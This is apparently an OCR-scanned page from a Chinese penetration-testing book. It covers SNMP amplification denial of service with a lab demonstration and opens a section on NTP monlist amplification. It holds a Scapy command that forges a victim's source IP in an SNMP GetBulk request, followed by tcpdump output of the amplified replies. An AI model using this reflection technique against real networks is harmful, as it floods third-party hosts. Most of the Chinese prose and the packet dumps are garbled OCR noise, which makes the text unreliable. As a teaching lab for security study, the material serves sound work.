\X080B_0\x12\x06\X0b+\x06\X01\X02\X01\X19\X02\X03\X01\x04\ X04\X
02\X03\X01\X00\X000\Xx11\X06\N+\X06\X01\X02\Xx01\Xx02\Xx02\Xx01\n\Xx02
A\ XO3\rIef\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\Xx05
AX02\X03\ XO01\X00\X000\X1I1\X06\N+\XO6\XOI\XO02\X01\X02\Xx02\Xx01\X0
bAXO1A\XO3\Xx13\x14\ xde0\Xx10\X06\X0b+\Xx06\X01\Xx02\Xx01\Xx19\Xx02\X0
3\X01\X05\X01\Xx02\x01\Xx000\ X10\X06\n+\Xx06\X01\X02\X01\X02\Xx02\X
O1\XOb\X02A\X02\x1e\XCc10\X13\Xx06\ XOb+\x06\Xx01\X02\X01\X19\Xx02\X
03\ X01\X05\X02\Xx02\Xx04\X00\Xx9f\xF6a0\Xx0f\ X06\n+\x06\x01\x02\x01
AXO02\X02\X01\XOC\XOIA\XOI1\ X000\ X10\X06\X0b+\x06\ Xx01\x02\x01\x19
AX02\X03\X01\X05\Xx03\x02\x01\x00"' |>>>

AT FERAG e SRR E R IP AL E R B B AR AL IP bk o A - K
MNEZEBK BT ELOLMAZEE o RTURRLIE IP src BEAA B4R IP
Hodk 69 F 47 B K T,

>>> send(IP(dst="172.16.36.134",src="172.16.36.135")/ UDP(sport=
161, dport=161)/SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist
=[SNMPvarbind(oid=ASN1_0ID('1.3.6.1.2.1.1")), SNMPvarbind(oid=ASN
1 0ID('1. 3.6.1.2.1.19.1.3'))])),verbose=1, count=2)

Sent 2 packets.

send() &i¥m AT X SR EWBFR  BARREETNTLARED o
BB B E A B AR A% > TR A TCPdump 4 45 AR #



admin@ubuntu:~$ sudo tcpdump -i eth® -vv src 172.16.36.134

tcpdump: listening on eth®, link-

size 96 bytes

13:32:14.210732 IP (tos 0x0, ttl
+], proto UDP (17), length 1500)
135.snmp: [lenl468<asnlen2150]
13:32:14.210732 IP (tos 0x0, ttl
s [none], proto UDP (17), length
135: udp

13:32:35.133384 IP (tos 0x0, ttl
+], proto UDP (17), length 1500)
135.snmp: [lenl468<asnlen2150]
13:32:35.133384 IP (tos 0x0, ttl
s [none], proto UDP (17), length
135: udp

4 packets captured

4 packets received by filter
0 packets dropped by kernel

12 BT R A
ik 172.16.36.134

IAEJR 32

type EN1OMB (Ethernet), capture

128, id 5944, offset
172.16.36.134.snmp >

0, flags [
172.16.36.

128, id 5944, offset
702) 172.16.36.134 >

1480, flag
172.16.36.

128, id 8209, offset
172.16.36.134.snmp >

0, flags [
172.16.36.

128, id 8209, offset
702) 172.16.36.134 >

1480, flag
172.16.36.

BLag B F > TCPdump A& AR etho 9 k> k ARIPH
(SNMP ZALa9IP3aL) 89AF o

RRHHGRERARN R =5 R & BRNEAZTEE B o T % EAKRAFE > L

/ﬁ/f%/ilﬂj | T\'ﬁ”
o A THATHFNWH LTI IEH /11/7%'
o Kk A FTAE R 69 M 22 T fe 69 °f KL 2
SNMP JR % 25 k38 w69 7 o

6.6 NTP 7t X DoS =&

vz EEKRTHTEREHFLR -
SNMP 24 K3 & 8938 £ 2T SNMP &g 8gvhm K> o 59 > Tkl

TR G A

NTP 7L X DoS & & #) i of & 242 monlist 15 K 69 M 48 1/ 3L (NTP) IR 3 o

monlist & %GR & 5 R %

BRI RGO A L

FILT & % % 600 17

Koo HEFTANEREA B A7 IP 3akbgF K » #ﬂﬁﬂwk SN A AR K F

KREEFRGAN o £BRXABYITIE > XMAE—ANF
HAEAE ] o Rk > &K IFAE = Lo TRX NTP }]Bf“m,

W8 &M s B ATIEAE K
,u%zzm%zhmakﬁ

monlist %K o A8 TAFTH T K % 2 NTP IR %k kb F 88 » HF BAEATH 545 F

R &R B R T 4 o

%



A THRERLTAFA N